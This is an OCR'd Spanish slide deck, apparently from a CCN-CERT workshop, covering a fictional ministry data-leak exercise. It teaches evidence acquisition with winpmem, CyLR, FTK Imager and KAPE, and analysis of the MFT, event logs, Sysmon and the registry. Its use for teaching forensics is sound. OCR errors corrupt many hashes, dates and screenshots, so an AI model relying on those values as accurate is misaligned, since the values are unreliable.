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IAdvertencialll

= NO hay malware activo en las evidencias
= .. pero no te fies de NADIE

= Hay cosas que NO le van a gustar a
vuestro AV (y hace bien)

» Consejo: Haz este taller desde una
maquina virtual

BIOLOGICAL
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Evidencias para el taller

Nttps://loreto.ccn-
cert.cni.es/index.php/s/peVMCibyL5nbMGD
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Captura de evidencias en incidentes complejos: https://vanesa.ccn-
cert.cni.es/userportal/#/player/vod/Ud1b1cb038d3f4d59a2642abd9
ed0d890

L ,’—“

))x/vanesa>

PLATAFORMA DE GRABACIONES
Y EMISIONES ONLINE

INCIDENTES COMPLEJOS.

4l
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Respuesta ante incidentes en 4 slides
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Objetivo de la respuesta
ante incidentes:

KEEP
Volver a la operacion
Atk NORMAL

|S BACK del servicio
TO NORMAL

=
<entro criptolégico nacional
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Fases de la respuesta ante incidentes

= Preparacion

= Deteccion

= Contencion Andlicic
= Frradicacion

= Recuperacion
= [ecciones aprendidas

4l
<entro criptolégico nacional



Trabaja como Si
estuvieras

COMPROMETIDO
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Consejos para una buena respuesta

Activa todas las fuentes de informacion que puedas
Define procedimientos para casos habituales
Comunica la informacion de forma fluida
Documenta todas las acciones realizadas

Expulsa a los atacantes de forma definitiva

Aplica politicas de tierra quemada

4l
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2.

Caso practico: Vientos remotos,
tempestades locales
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MINAF: Ministerio de la Alegria y la Felicidac

#HAPPYDAY

:— . GOBIERNO MINISTERIO DE LA FELIZ DIA INTERNACIONAL DE LA FELICIDAD

DE ESPANA" A| EGRIA Y LA FELICIDAD v

* Este Ministerio (por desgracia) es ficticio

Un dia cualguiera en un ministerio cualquiera ...

CN - cm
4l
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Preparacion

» Sistemas actualizados = Windows
10 + Windows 2016 Server

= Antivirus, parchesy buenas practicas
de seguridad

= Monitorizacion de red en despliegue

= Certificacion del ENS a principios de
2020

4l
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Deteccidn del incidente

= Proyecto europeo EHP (European
Happy People) liderado por el MINAF

= BD de 60k esparioles telices

s E| CCN-CERT advierte al MINAF: |a
iSta corta de candidatos se ha
filtrado en la deep web

4l
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Deteccidn del incidente

Datos del Proyecto EHP muy
protegidos - CHITONSRYV

Windows 2016 server en red
segregada y fuera de dominio

6 personas con acceso al servidor
(altos cargos del MINAF + 1
sysadmin) - Cuentas separadas

BD cifrada con PGP

<centro criptolégico nacional
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Objetivos

» Determinar el alcance del incidente

= Conocer el impacto actual (,BD de
ciudadanos comprometida?)

» Encontrar el vector de entrada

» Generary compartir IOC
(indicadores de compromiso)

4
<entro criptolégico nacional
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Timeline: inicio de los eventos sospechosos

= Conocimiento del incidente: Viernes 7/Nov 14:15h

= Usar_siempre horas UTC
= Espafa = UTC+1 (en verano UTC+2)

<centro criptolégico nacional
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Adquisicion de evidencias - CHITONSRV

» Volcado de RAM: winpmem
= Datos de triage: CyLR

4l
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CHITONSRV
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Se documenta la adquisicion

$HHHEHNEEHEHEEHEHNHERH R HERRE RN
Ficha de Adquisicidn de evidencias
$HEREHRERHEERERREHHERRREHREEREHRE RN

Caso: MINAF-2819-8613
Nimero de adquisicidn: MINAF-2013-€91

Fecha de captura: @7/11/2815

Hora de captura: 15:15h

Persona que realiza la adquisicidn: Salvador Bendito (técnico de sistemas

de la subdireccidén TIC del MINAF)

* Personas presentes durante la adquisicidn: Maria Feliz (Subdirectora General
de Festejos del MINAF), Angela de la Guarda (responsable de seguridad de la
subdireccion TIC del MINAF)

* Equipo adquirido: CHITONSRV, IP 192.168.1.2

* Evidencias adquiridas: Volcado de memoria a través de la herramienta winpmem,
datos de triage a partir de la herramienta CyLR.

* Hashes de los ficheros de evidencia:

o o

-

47219bc5atcatbhaddbe3lbbc8d5801fca  MINAF chitonsrv.mem
69566818faec55dcb/fd82e188cbdad9 MINAF chitonsrv triage.zip
5+78668846d3b%abldce2e7bd30+344eb1b8659c MINAF_ chitonsrv.mem
1+547a9+t56bfdf537d876965d5bcB2a235aebc9 MINAF chitonsrv _triage.zip
feb99cba@bbbal2a5@11bb65df398808d4dbbaadacchlcldfesd236FF9+@19728 MINAF_chitonsrv.mem
cec3al2Sdaceddbalec/ec/94a1324e993385e6f50+2475429a9F3933b22721 MINAF chitonsrv _triage.zip

Procedimiento seguido
localiza el servidor CHITONSRV en el CPD.
- S%e inserta un USB con las herramientas en el equipo.

- S5e abre un terminal de linea de comandos con privilegios de administrador.
- S5e ejecuta la herramienta winpmem.exe con estas opciones:

winpmem --output MINAF chitonsrv.mem

generandose un fichero con un tamafic de 1934818280 bytes.

- S5e ejecuta la herramienta CYLR.exe sin opciones, genérandose un fichero con
nombre MINAF chitonsrv_triage.zip con un tamafio de 99736644 bytes.
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Se verifican los hashes

(] HashMyFiles — O ¥
File Edit WView Options Help

a0 @Q| EEEE A

Filename ~ MD5S SHA-256

D MIMAF_chitonsre.mem 47219bc5afcaf’3allbe3tbcBd501fca feb99cbalbbballad011bb65df39880d4ddbbaadacch] cOdfedd236fF9F019728
@I"-"IINAF_chitDnsr'-.r_triage.zip £9566818faec55dcb7id22e188cbdad?  cec3a3liaceddbadecTec’94a1324e99330f5e6f50f2475429a0f3933b22721

* >

2 file(s)

coN-cert
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Analisis del incidente: Objetivos

= Alcance: 0 equipos comprometidos, 1
equipo sospechoso

= |Impacto: Filtrada parte de la info del
servidor protegido

= [OC: 0
= \ector de entrada: Desconocido

4
<entro criptolégico nacional
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Paso 1: MFT

= (Convertimos la MFT a .csv con mftdump.exe
= Buscamos por entradas de la carpeta compartida

B Simbolo del sistemna _ n e

C:\Users\antonio\Desktop\Presentacion STIC\1.2 CHITON MFT>mftdump.exe /1 fo mft_parsed.csv $MFT
$MFT file is 295,436,288 bytes.

$MFT file contains 12 file records.

Records processed: 12 (188% Complete)

$MFT file processing complete.

Output filename is mft_parsed.csv

sersh\antonio\Desktop\Presentacion_STIC\1.2_CHITON_MFT>grep Documentacion mft_parsed.csv > mft_parsed_documentacion.csv

sers\antonio\Desktop\Presentacion_ STIC\1.2 CHITOM MFT>
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Paso 1: MFT

IsiCreateTir‘r‘re[LJ__‘_l’Q siAccessTime (UTCYsiModTime (UTC) ctualsize |FullPath

2019-08-25 15:21:40 p@018-08-25 15:22:14 §2019-09-25 19:22:14 527"\ sers\AdministraderAppD ata\R oaming'\Microsoft\Windowe\R ecent\D ocum entacion. Ink
2019-10-13 17:06:25 P019-10-13 17:06:25 §2019-10-13 17:06:39 27662527 \Docum entacion\sSecreto\wvideo_felicidad_mundial_2020.mp4

2018-08-25 19:23:26 P015-09-25 19:23:26 §2015-08-25 19:24:13 150/\Documentacion\Secreto\README .ttt

2015-10-13 17:23:35 p015-11-04 10:14:21 §2015-11-04 10:14:15 10267 \Docum entacion\Secretolista_candidatos. xisx

2019-10-27 09:08:20 §015-10-27 09:08:20 §2019-10-27 09:04:23 8833673 \Documentacion\Secreto\BD _EHP_Proyect sgilite.gpg

2015-08-25 15:21:46 pE015-11-04 10:14:24 §2015-11-04 10:14:24 \Documentacion\Secreto

N I T R T I A e T A M O A A E ER N o N - [N A S = - oA aerar

» Fechas de acceso no concuerdan
= ;Uso de técnicas antiforenses?
= O el MINAF lleva trufado mucho tiempo...

coN-cert
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Paso 2: EventLog Security

= NoO tenemos eventos de inicio de sesidon (EventID 4624)

Security Mdmero de eventos: 105

Mivel Fecha y hora Origen |d. del evento  Categoria de la tar... ™
@Infnrmaciuﬁn 04/11/2019 11:13:42 Microsoft Windo... 5145 Detailed File Share
@Infnrmacic’un 04/11/2019 11:13:42 Microsoft Windo... 3145 Detailed File Share
@Infnrmacic’un 04/11/2019 11:13:42 Microsoft Windo... 3145 Detailed File Share
@Infnrmacic’un 04/11/2019 11:13:42 Microsoft Windo... 3145 Detailed File Share
@Infnrmacic’un 04/11/2019 11:13:42 Microsoft Windo... 3145 Detailed File Share
@Infnrmacic’un 04/11/2019 11:13:42 Microsoft Windo... 53140 File Share
@Infnrmacic’un 04/11/2019 11:13:38 Microsoft Windo... 53145 Detailed File Share
@Infnrmacic’un 04/11/2019 11:13:38 Microsoft Windo... 3140 File Share
@Infnrmacic’un 03/11/2019 20:07:535 Eventlog 1102 Borrado del registro

coN-cert

<entro criptolégico nacional



I #XI1IIJORNADASCCNCERT

Paso 2: EventLog Security

= Revisamos las politicas de auditoria:

¥ Registry Explorer v1.1.0.6

Registry hives (1) | Available bookmarks (0/0) |

File Tools Options Bookmarks (0/0) View Help

Key name # values
¥ A =
4 |l G\Users\antonio\Deskto...
4~ ROOT
[~ Cache
4 [ Policy

[y
S =]

[» [~ Accounts
[~ DefQuota
[== Domains
[~ GlobalsadMameFile
[~ GlobalSadMNameKey
[~ LastPassCompleted
== PolAcDmM
[~ PolAcdDmS
3 [ PoladtEv
[~ Poladilg
[~ PolDNDDN
[~ PolDNDmG
[~ PolDNTrN
== PolEKList
[~ PolOldSyskey
[== PolPrDmM
[== PolPrDmS
== PolRevision
[~ SecDesc
[ [ Sedets
[~ SecurityInstallationPr. ..
[~ RXACT

I = R e A = T e e e e e T T T = e e e e e S S A S A =Y

# subkeys

]
S S = T )

o o Mo o o o oo o oo oo ooooooo

Last write imestamp

2019-10-27 09:41:42
2019-07-12 18:15:43
2019-08-25 20:35:04
2019-07-12 18:15:58
2019-07-12 18:15:42
2019-07-12 18:15:42
2019-08-25 20:35:04
2019-08-25 20:35:04
2019-07-12 18:15:45
2019-058-25 20:00:02
2019-09-03 21:55:14
2019-10-27 09:41:46
2019-07-12 18:15:42
2019-07-12 18:16:13
2019-07-12 18:16:13
2019-07-12 18:16:13
2019-08-03 21:57:21
2019-08-03 21:57:21
2019-07-12 18:16:13
2019-07-12 18:16:13
2019-07-12 18:15:42
2019-07-12 18:16:03
2019-07-12 18:15:46
2019-07-12 18:15:49
2019-10-27 09:41:46

Values

Arrastre una columna agui para agrupar por dicha columna

Value Name  Value Type Data Value Slack
¥ Al [0 )4 adc e

v (default) RegMNone 00-01-00-00-09-00-00-00-84-00-00-00-,..  00-00-00-00-00-00
Type viewer | Sladk viewer
00 01 02 03 04 05 06 O7 08 09 OA OB OC 0D OE

00 01 00 00 09 00 00 OO &4 00 00 00 00 00 00
00 00 00 00 00 OO0 00 00 00 OO0 00 00 00 00 00
00 00 00 00 00 00 00 OO OO0 00 00 00 00 00 00
00 00 00 00O 00 00 00 QO QO 00 Q0 00 00 00 00
03 00 00 00 00 00 03 00 00 00 00 00 00 00 00
00 00 00 00O 00 00 00 QO QO 00 Q0 00 00 00 00
00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00
00 00 00 00 00 00 00 QO 00 00 00 00 00 00 00
00 00 00 00 00 00 00 0O 00 00 00 00 05 00 OB
00 OE 00 03 00 06 00 06 00 06 00 04 00 04 00

Current offset: 0 (0x0)  Bytes selected: 0 (0n0) Data interpreter

)

coN-cert
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Paso 2: EventLog Security

= |nterpretamos el valor en binario

PolAdtEv Parser

[m
=)

kazamiya " 2017/02/05 (B) - 1432 12555

PolAdiFy T X &t 02 BRICEDE, EFER VL —OLZAFUEA—ZLET
Inputz 4 IZHKLM\Security\Policy \PolAdiEwy ¥ —DEZ A AL T, parseEFTEESRETZFTLET. AFJEARAECEA—Z4 AT Ti WL THEEE
EEANTHEYI T, FEEAF—OESREL < HBETECEWAEESRZUYET

I+ A TEREE EWindows TDEE

Input:

Q0010000000 0000840000 00 00 0000 00 00 00 Q0 O 0000 00 00 00 Q0 O 00 00 00 00 00 00 0 0000 00 00 00 Q0 00 0o 00 00 00 00 00 00 0o 00 o0
Q00000000000 000000030000 00 000003 0000 00 00 0000 00 00 00 Q0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Q00000000000 000000 00000000 000000 00000000 000000 00000000 000000050006 00 0EQD 030006 00 06 0005 00 0400 0400

parse
Version: 10{1607)/2016

FTHhrwk

—— 5 —

coN-cert
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Paso 2: EventLog Security

= Paralos que no sabemos japoneés ...

= Google Traductor

Hn Texto B Documentos
JAPONES - DETECTADO INGLES ESPANOL FRANCES v P ESPANOL INGLES FRANCES v
[2r R T L] X [system]

X2 )T REOEE. BEELEW Security state change: no audit

tFXxa) T4 YRATLOLER EELAVL Security system enhancements: no auditing
AT LOEGEEELAL System integrity: not audited

IPsec FZ A4/ N—E&ELAHL IPsec driver: Do not audit

FOMDVATL ARy M EFELAEL Other system events: Do not audit

[ 5 F o5+ 7] [Logon / Logoff]

Oy# BELAEL Logon: Do not audit

nsy+7:8&La0 Logoff: Do not audit

ThybOwsT7 R EELAEL Account lockout: no audit

coN-cert
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Paso 2: EventLog Security

APT28
Fancy Bear

=
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Paso 2. EventLog de Terminal Services

= Revisamos |los accesos por Terminal Server:

Microsoft-Windows-TerminalServices-RemoteConnectionManager’40perational MNimero de eventos: 14

=7 Filtrados:Registro:

Mivel Fecha y hora Origen |d. del evento  Categoria de la tar...
r:i:lInfu:urr'rﬁh:iu:'un 05/11/2019 14:58:20 TerminalServices-... 1149 MNinguno
@Infnrmacic’nn 05/11/2019 13:06:28 TerminalServices-... 1148 Minguno

¥ Informacion 041172019 10:01:31 TerminalServices-...

Minguno

Evento 1149, TerminalServices-RemoteConnectionManager

General Detalles

Servicios de Escritorio rernoto: autenticacion de usuario correcta:

Uiuarianupersecretadmin I
Dorninid
Direccion de red de origen: 192.168.1.3

4l
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Paso 2: EventLog Security

= Revisamos los accesos por SMB:

Security MNdmero de eventos: 105

=7 Filtrados:Registro: file://C:\Users\antonio\Desktop'\Presentacion_STIC\1.3_CHITON_EventLog\Security.eviy; Origen: ; Id. del evento:

Mivel Fecha y hora Origen Id. del evento  Categoria de la tar...
ICi:lInfu:urr'nanciufun 05/11/2019 14:57:51 Microsoft Windo... 5140 File Share
@Infnrmaciuﬁn 05/11/2019 14:57:26 Microsoft Windo... 5140 File Share
@Infnrmacién 05/11/2019 14:57:26 Microsoft Windo... 5140  File Share
@Infnrmaciuﬁn 041172019 11:13:42 Microsoft Windo... 5140 File Share
Infarmacidn 04/11/2019 11:132:38 Microsoft Windao... 5140  File Share

Evento 5140, Microsoft Windows security auditing. x

General Detalles

Se tuvo acceso a un objeto de recurso compartido de red, ”

Sujeto:
Id. de seguridad:
Maombre de cuenta:
Dominio de cuenta:

Id. de inicio de sesidn: (6E9683
Informacidan de red:

Tipo de objeto: File

Direccion de origen: 192.168.1.4

Puerto de origen: 49961

Informacidn de recurso compartido:
Mombre de recurso compartido: WHIPCS v CN'cm

<entro criptolégico nacional




I #XI1IIJORNADASCCNCERT

Paso 3: Sysmon

Sysmon: monitorizacion de endpoint

Captura info de nuevos procesos, conexiones...
Genera un log de eventos: Sysmon/Operational

Tool: Visor de eventos de Windows

4l
<entro criptolégico nacional
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Paso 3: EventLog Sysmon

Microsoft-Windows-Sysmon®:40perational MNuimero de eventos: 1,154

=7 Filtrados:Registro:

Mivel Fecha y hora Origen |d. del evento Categoria de la tar... ™
ICDInfu:urr‘nau:in:'un 051172019 14:58:21 Sysmon 1 Process Create (rul...
@Infnrmacic’un 05/11/2019 14:58:21 Sysmon 1 Process Create (rul...
@Infnrmacic’un 05/11/2019 14:58:22 Sysmon 1 Process Create (rul...
@Infnrmacic’un 05/11/2019 14:58:23 Sysmon 1 Process Create (rul...
Informacion 051172019 14:58:23 Sysmon 1 Process Create (rul...
ICDInfu:urr‘nau:in:'un 05/11/2019 14:58:52 Sysmon 1 Process Create (rul...
@Infnrmacic’un 05/11/2019 14:5%:06 Sysmon 1 Process Create (rul...
@Infnrmacic’un 05/11/2019 14:59:06 Sysmon 1 Process Create (rul...

(i) Informarian 051172019 14:59:15 Swsmnon 1 Process Create (rul hd

x

Evento 1, Sysmon

General Detalles

Process Create:

RuleMame:

UtcTime: 2019-11-05 13:58:23.247

ProcessGuid: {d13b8b84-7ff-5dc1-0000-00106ee99300}
Processld: 2120

Image: C:AWindows\System32\rdpclip.exe

FileVersion: 10.0.14393.3085 (rs1_release. 190703-1816)
Description: RDP Clipboard Monitor

coN-cert
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Paso 3: EventLog Sysmon

CommandlLine:
CommandlLine:
CommandLine:
CommandlLine: "¢
CommandlLine:
CommandlLine: "¢
CommandLine: "
CommandlLine: "
CommandlLine:
CommandlLine:

]

]

:\Windows\S5ystem32\spontocrnann nva o
""C:\WindowsYsystem32 NOTEPAD.EXE"" C:\Documentacion\5Secreto\README.txt.txt

:\Windows\System32\rundl132.exe C:\Windows\System32\shell32.d11,SHCreatelocalServerRunDll {9aad6089-3ced®-458a-a354-715610a875e6] -Embedding

EFmbradAds mor

:\Program Files (xob)\Wlngaows Megla rFlayer\wmplayer.exe /rFlay -cmpedding

\Windows\System32\unregmp?.exe™” fAsyncFirstlogon
:ZWWindowshSyshativehunregmp?.exe™™ /AsyncFirstlogon /REENTRANT
C:\Program Files (x86)‘\Windows Media Player\wmplayer.exe"" fRelaunch /Play C:\Documentacion\Secreto\video felicidad mundial 2826 .mp4d

RuleName:

UtcTime: 2819-11-85 13:59:86.563
ProcessGuid: éd 18b8b84-802a-5dc1-0080-0010641c9500}

ProcessId: 43

Image: C:\Ninduw5\5y5tem32\hotepad.exﬂ
FileVersion: 10.8.14393.8 (rsl release.166715-1616)

Description: Notepad

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileName: NOTEPAD.EXE|

CommandLine: ““C:\winduw5\5y5tem32\hﬂTEPhD.EKEP“ C:\Documentacion\Secreto\README. txt.txt
CurrentDirectory: C:\Documentacion\Secretol

User: CHITONSRV\SuperSecretAdmin

LogonGuid: {d18b8b34-68bf-5db5-0000-00200f430a00}

LogonId: ©xA430F
TerminalSessionId: 2
Integritylevel: Medium

Hashes: MD5=3B588CAESDEBCBA928B5BC355517E2E6,5HA256=DABACEESFEBAA6BCFB5249E262D3D53211EBCACY77579E99CE282B8761541110A
ParentProcessGuid: {d18b8b84-68c2-5db5-00600-001851280c08}

ParentProcessId: 3872

ParentImage: C:\Windows\explorer.exe
ParentCommandLine: C:‘\Windows‘Explorer.EXE"

Informacidr ,05/11/2019 14:59:06, dicrosoft-Windows-Sysmon,l,Process Create (rule: ProcessCreate),”Process Create:

C

""C:\Program Files (x86)\Windows Media Player\setup wm.exe""™ /RunOnce:""C:\Program Files (x86)\Windows Media Player\wmplayer.exe"" /Play -Embedding
C
C

:\Windows\System32\InstallAgent.exe -Embedding
:\Windows\System32\InstallAgent.exe -Embedding
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Paso 3: EventLog Sysmon

siCreateTime (UTC) siAccessTime (UTCr siModTime (UTC)  [Actualsize JFullPath

2019-08-25 19:21:40 2018-08-25 15:22:14 2019-09-25 159:22:14 527\ sers\AdministraderAppD ata\R oaming'\Microsoft\Windowe\R ecent\D ocum entacion. Ink
2019-10-13 17:06:25 1 2015-10-13 17:06:25 (2019-10-13 17.06.39 27662527 \Documentacion\secretowideo felicidad _mundial 2020 mp4d

2019-09-25 159:23:26] 2015-09-25 19:23:26 (4019-09-25 15:24:13 150 \Documentacion\Secreto\R EADME txt .t

2015-10-13 172335200110 To 1.2l 2018-11-04 10:14:15 10267 \Documentacion\Secretovista_candidatos . xlsx

2019-10-27 09:08:20 | 2019-10-27 09:08:20 (2019-10-27 09:04.23 8833673 \Documentacion\Secreto\BD _EHP Proyect.sglite.qgpg

2015-058-25 15:21:46 2015-11-04 10:14:24 |2015-11-04 10:14:24 \Documentacion\Secreto

Informacidr ,05/11/2019 14:59:06, dicrosoft-Windows-Sysmon,l,Process Create (rule: ProcessCreate),”Process Create:
RuleName:

UtcTime: 2819-11-85 13:59:86.563

ProcessGuid: {d18b8b84-862a-5dcl1-0060-8010641c9500]
ProcessId: 438

Image: C:\Ninduw5\5y5tem32\hotepad.Exﬂ

FileVersion: 10.8.14393.8 (rsl release.166715-1616)
Description: Notepad

Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation

OriginalFileName: NOTEPAD.EXE|

CommandLine: ““C:\windnw5\5y5tem32\hﬂTEPhD.EKEP“ C:\Documentacion\Secreto\README. txt.txt
CurrentDirectory: C:\Documentacion\Secretol

User: CHITONSRV\SuperSecretAdmin

LogonGuid: {d18b8b34-68bf-5db5-0000-00200f430a00}

LogonId: ©xA430F

TerminalSessionId: 2

Integritylevel: Medium

Hashes: MD5=3B588CAESDEBCBA9S28BSBC355517E2E6,SHAZS6=DABACEESFEOALEBCFBS5249E262D3D53211EBCACY77579E99C8202B7615411184A
ParentProcessGuid: {d18b8b84-68c2-5db5-00600-001851280c08}

ParentProcessId: 3872

ParentImage: C:\Windows\explorer.exe CN - cerr

ParentCommandLine: C:‘\Windows‘Explorer.EXE" centro ariptolégico nodonal
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Paso 3: EventLog Sysmon

R 4
R THIS SHIT

=
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Paso 3: Registro

I #XI1IIJORNADASCCNCERT

= Revisamos la clave del registro:
HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisablelLastAccessUpdate

) Registry Explorer v1.1.0.6
Options  Bookmarks (0/0)

I Reqistry hives (1) | Available bookmarks (0/0)

File Tools View Help

¥ | ac

I [

I [
I [P

ContentIndex
CrashControl
Cryptography
DeviceClasses
DeviceContainerPropertyUpdateEv...
DeviceContainers
DeviceGuard
DevQuery
EarlyLaunch

Els

Errata

FastCache
FileSystem
FileSystemltilities
GraphicsDrivers
GroupOrderList
HAL

IDConfigDB
InitiaMachineConfig
IPMI

Kevyboard Layout
Kevyboard Layouts
Lsa

Key name #v...

Last write timestamp

1 2019-07-12 18:16:03
1 2019-07-12 18:16:03
4 2019-07-12 18:16:03
46 2019-10-20 16:1402
1 2016-07-16 13:24:05

11

0
1
1
&

2019-11-05 13:58:29
2019-07-12 18:16:03
2016-07-16 13:24:05
2019-07-12 18:16:03
2019-07-12 18:16:03
2016-07-16 13:24:05
2019-07-12 18:16:03

m

@ 2019-07-12 13:16:03

[ S R = T 6 R e N e BN (R ]

&

14

2019-07-12 18:16:03
2019-09-03 21:56:20
2019-10-20 09:47:00
2019-10-27 09:41: 31
2019-10-27 09:41: 31
2019-07-12 18:15:03
2019-07-12 18:15:03
2019-07-12 18:15:03
2019-07-12 18:15:03
2019-10-27 09:41: 42

Values

(o=

Arrastre una columna aqui para agrupar por dicha columna h
Value Name Value Type  Data Value Sladk [
v i e e e -
DisableDeleteMotification RegDword ]
FilterSupportedreaturesMode RegDward 0
LongPathsEnabled RegDword ] 1
MtfeallowExtendedCharacter8dot3Rename  RegDword 0 3
MtfsBugchedkOnCorrupt RegDword ]
MtfeDisableddot3MNameCreation RegDword 2
MtfsDisableCompression RegDword ] TN
MtfsDisableEncryption RegDword ]
3 INthDisabIeLastAccessUpdate RegDwaord 1 I
MifsDisablel fsDowngrade RegDword o
NtfsDisableVolsnapHints RegDward 0
MNtfsEncryptPagingFile RegDwaord ]
MtfeMemoryllsage RegDword ] i
NHfeMFZnnel azaratinn RenPwnred 0 il |«
Value name INthDisabIeLastAccessUpdate
Value type IREngnrd l
Value | 1 ccgpmmcm%r



., I #XIIIJORNADASCCNCERT
Paso 3: Documentacion

Windows Server 2016, Windows Server 2012 R2, Windows Server 2012, Windows Server
2008 R2, and Windows Server 2008 Audit Settings Recommendations

Windows
Default Baseline Stronger
Recommendation Recommendation
Audit Policy Category or Success
Subcategory Failure Success Failure Success Failure

Account Logon

Audit Credential Validation Yes Yesg Yes Yesg

Audit Kerberos Yes Yes

Authentication Service .’-SSU pdate

Audit Kerberos Service Ticket Yes Yesg

Operations 2003 R2, Windows Server 2003 with SP1, Windows Server 2002 with

NtfsDisableLastAccessUpdate

HKLMYSYSTEM\CurrentControlSet\Control\FileSystem

Data type Range Default value

REG_DWORD 01 m
cov-cert
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Paso 3: Documentacion

I~ XIIIJORNADASCCNCERT

<centro criptolégico nacional



I #XI1IIJORNADASCCNCERT

Paso 3: EventLog Security

kg

Security 2 MNdmero de eventos: 105

= Montar C$
Filtrados:Registro: file://C\Users\antoniohDesktoph Presentacion_STICW1.2_CHITOMN_EventLogh\Security.evtg Origen: ; |d. del evento: O n a r S | n

Mivel Fecha y hora

Informacion 05/11/2019 14:57:51
@Infarmacic’nn 05/11/2019 14:57:26
I:BlInFl:nrr'm':n:il:'un 05/11/2019 14:57:26
@Infurmacic’un 041172019 11:13:42
@Infurmacic’un 04/11/2079 11:13:38

V4 .
Origen Id. del evento  Categoria de la tar... eX |tO ; M uy

Microsoft Windo... 5140 File Share
Microsoft Windo... 5140 File Share SOSpeC OSO
Microsoft Windo... 53140  File Share

Microsoft Windo... 3140  File Share
Microsoft Windo... 5140  File Share [ |P /I 92 ll 68 /I 3

Evento 5140, Microsoft Windows security auditing.

= = ComputerName:

General Detalles

ADMINPCT

Se tuvo acceso a un objeto de recurso compartido de red.
Sujeto:
Dominio de cuenta: CHITOMSRY
Id. de inicio de sesidn: x939BFA

Informacion de red:

Tipo de objeto: File
Direccidn de origen: 192.168.1.3
Puerto de origen: 51137

s User: Salvador

Id. de sequridad: 5-1-5-21-3656677704-2377210397-1510584988- 1004

Mombre de cuenta: SuperSecretAdmin B e n d itO (Sysa d m i n

senior del MINAF)

Informacién de recurso compartido:

Ruta de acceso de recurso compartido:

Mombre de recurso compartido: ‘ WS

I ‘

coN-cert
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I - X111JORNADASCCNCERT

Analisis del incidente: Objetivos

= Alcance: 1 equipo comprometido, 1 equipo
Ssospechoso

= |mpacto: Copia de la carpeta de
Documentacion del EHP

= |OC:0
= \ector de entrada: Desconocido
= NO sabemos cdmo se han exfiltrado los datos

4
<entro criptolégico nacional
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Timeline del incidente

//Nov 13:30
] Aviso del
CCN-CERT

{ 2

5/Nov 13:59 Accesos a doc
secreta en CHITONSRV
(supersecretadmin)

¢

4l
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#XIIJORNADASCCNCERT

Adquisicion de evidencias - ADMINPC1

» EqQuipo apagado
» Clonado forense de disco con FTK Imager

4l
<entro criptolégico nacional
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(] [ 4

Se documenta la adquisicion

HH AR R RN

Ficha de Adquisicidn de evidencias
FrridnrtdnnidrridnnidrnidrriddnriTarddnrs

Caso: MINAF-2019-8013
Nimero de adquisicion: MINAF-8013-002
Fecha de captura: 68/11/2819
Hora de captura: 10:45h
* Persona que realiza la adquisicidn: Angela de la Guarda (responsable de seguridad de la
subdireccidn TIC del MINAF)
* Personas presentes durante la adquisicidén: Maria Feliz (Subdirectora General
de Festejos del MINAF)
* Equipo adquirido: ADMINPC1, IP 18.11.2.13

* Evidencias adquiridas: Captura de disco con la herramienta FTK Imager Lite
* Ficheros de ewvidencia:

B4e51edc205841cc298F203803cBebb5e MINAF adminpcl.@@l.gz
tb3162b59172d817343184e21e755929d9984243 MINAF_adminpcl.@@l.gz
A1a1d97785889633tbealdfdb2ae8dfclc83ce9701660821eb8d36a99d1b/9be556 MINAF adminpcl.@@l.gz

Procedimiento seguido

- 5e localiza al usuario y se le explica la situacidn, scolicitando su
consentimiento para la adquisicidn de evidencias. El usuario facilita su
consentimiento.

- Se apaga el equipo de forma brusca retirando el cable de alimentacidn.
- 5e retira el disco del equipo del ADMINPC1




I #XI1IIJORNADASCCNCERT

Se verifican los hashes

(] HashMyFiles — O *
File Edit View Options Help

A0 Q | EHEEE R

Filename ~ MD5S SHA-256
MIMNAF_adrminpc].001.gz e51edc 20504 cc 298f 203803 c0eb5e  4al1d97785800633f0easfdblaeldfc1c83cel7e602 1ebld26a99d 1bTobe556

< >

1 file(s)

4l
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Montaje con FTK Imager

Mount Image To Drive Y Evidence Tree x| |File List
E'@ I ~  Name Size Type Date Modified
Add Image =-T8 NONAME [NTFS] ]
a G- forphan] SExtend 1 Directory 18/09/2018 17,
Image File: El{a froct] SGetCurrent 1 Directory 19/0:9,/2018 21:...
E:Forensic\Retos_forenses_Evidendas\MINAF_Vientos\MINAF _adminpcl. 001\adminpc1.001 1§ $BadClus SRecycle.Bin 1 Directory 10/10/2019 20...
Eﬂ--g $bdend Archivos de programa 1 Reparse Paint 18/09/2018 16:...
-7 $GetCument i 2
Mount Type: | Physical & Logical - 5 $Recycle Bin boot 1 D?rectory 19/10/2019 80...
) 18 SSecure c3e2dadbl314cdcTeal.., 1 Directory 19/09/2018 18....
Drive Letter: | Next Available (K:) ~ F2 SUpCase Documents and Settin... 1 Reparse Point  10/07/2015 12-...
Mount Method: | g5 d: Device { Read Only " --{_J) Archivos de programa MS0Cache 1 Directory 18/08/2018 2.,
- boot Perflogs 1 Directory 11/04/2018 23....
g ‘5592“355”31?2‘3?33de5‘59 Program Files 1 Directory 27/10/2019 9:4...
ocuments and Settings . . 5
E:Forensic\Retos_forenses_Evidendas\MINAF_Vientos\MINAF_adminpcl.001 -7 MSOCache Program Files (x86) 1 Directory 03/11/2019 18:...
I} Perflogs ProgramData 1 Directory 27/10/2019 9:4..,
Maount F#-C7) Program Files Recovery 1 Directory 140772019 7:3...
{3 Program Files (<86} System Volume Infor.., 1 Directory 19/10/2019 11:...
_ Eﬂ"g ;mgram[’ata Users 1 Directary 10/10/2019 20:...
Mapped Image List E;-{Fi'l Se;"“eg e nfomt Windows 1 Directory 13/10/2019 9:3..
[+ €M volume InTormation
Mapped Images: B0 Uie‘,s o Windows10Upgrade 1 Directory 19/09/2018 21:..,
Drive Method Partition Image » Disco local (k)
FhysicalDrived4  Block Device/Read ...  Image E:\Forensic\Retos_forenses_Fvidendasy
1 Block Device/Read ...  MOMAME [NTFS] E:\Forensic\Retos_forenses_Fvidendasy SGetCurrent SRecycle.Bin
s Archivos de programa Archivos de programa
Archivos de programa (x86) boot
c5e2dal60314cdcTeaTielefdbed s Documents and Settings
MSOCache PerfLogs
< > g
ProgramData Recovery
Unmount System Volurme Information Usuarios
Windows Windows10Upgrade
boatm BOOTNKT
gr
|J Reflect_Install.log SYSTAG.EIN

coN-cert
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Extraccion con KAPE

I - X111JORNADASCCNCERT

= \kape.exe --tsource J:\ --tdest

"C:\Users\antonio\Desktop\output_KAPE" --target
IBasicCollection --iftw

» output_KAPE » |

Mombre

SExtend
SRecycle.Bin
programdata
Users

Windows

j 5Boot

| SLogFile

] SMFT

